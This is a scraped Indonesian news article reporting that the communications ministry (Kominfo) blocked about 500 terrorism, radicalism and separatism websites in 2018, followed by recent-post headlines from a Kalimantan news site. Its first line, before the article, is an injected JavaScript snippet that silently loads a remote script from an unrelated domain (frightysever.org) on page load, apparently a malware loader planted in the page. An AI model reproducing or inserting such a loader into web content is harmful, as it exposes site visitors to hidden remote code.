(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pemerintah Blokir 500 Situs Terorisme Sepanjang 2018


JAKARTA, Kementerian Komunikasi dan Informatika (Kominfo) memberi laporan teranyar, kali ini terkait langkah blokir terhadap situs-situs yang dinilai berkaitan dengan terorisme.

Berdasarkan data dalam rentang waktu Januari hingga November tahun 2018 ini, Kominfo setidaknya telah melakukan pemblokiran terhadap 500 situs yang memuat konten terorisme, radikalisme, dan separatisme.

Berdasarkan laporan Subdit Pengendalian Konten Internet, Direktorat Pengendalian Aplikasi Informatika Ditjen Aplikasi Informatika (Aptika Kementerian Kominfo), dalam database penanganan konten tercatat ada 3 (tiga) situs yang memuat konten separatisme dan organisasi berbahaya telah diblokir.

Sementara untuk situs terorisme dan radikalisme, Kominfo telah melakukan blokir sebanyak 497 situs. Untuk tahun 2018 saja, Kominfo telah menutup akses sebanyak 295 situs yang mengandung konten terorisme dan radikalisme. Sedangkan, untuk situs konten separatisme diblokir tiga situs pada bulan Juni 2018.

“Pemblokiran situs yang memuat konten terorisme dan radikalisme sudah dilakukan sejak 2010 hingga saat ini. Situs yang telah diblokir dominan berasal dari luar negeri dengan registernya lebih banyak bertuliskan dot com,” kata Plt Kepala Biro Humas Kementerian Kominfo Ferdinandus Setu dalam keterangan tertulis dirilis detik.com, Jumat (21/12).

Dijelaskan bahwa tindakan pemblokiran dilakukan atas permintaan Badan Nasional Penanggulan Terorisme (BNPT). Selain itu, pemblokiran juga sesuai dengan Undang-undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik Pasal 27 ayat (1) dan (2), Pasal 28 ayat (1) dan (2), Pasal 40 ayat (2).

Meski sudah dilakukan penutupan terhadap sejumlah situs terorisme, radikalisme, dan separatisme, Kominfo terus melakukan pemantauan terhadap situs dan akun dengan menggunakan mesin AIS setiap dua jam sekali. Kominfo juga bekerja sama dengan Polri untuk menelusuri akun-akun tersebut.

“Kementerian Kominfo juga mendorong masyarakat untuk menghindari konten terorisme, radikalisme, dan separatisme. Jika menemukenali keberadaan situs seperti itu dapat melaporkannya ke aduankonten.id atau akun twitter @aduankonten,” sebutnya.(cel/agt/krs/dtc)

Reporter:cel/agt/krs/dtc
Editor:Cell

Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

10 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

11 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

12 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

13 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

14 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

14 jam ago

This website uses cookies.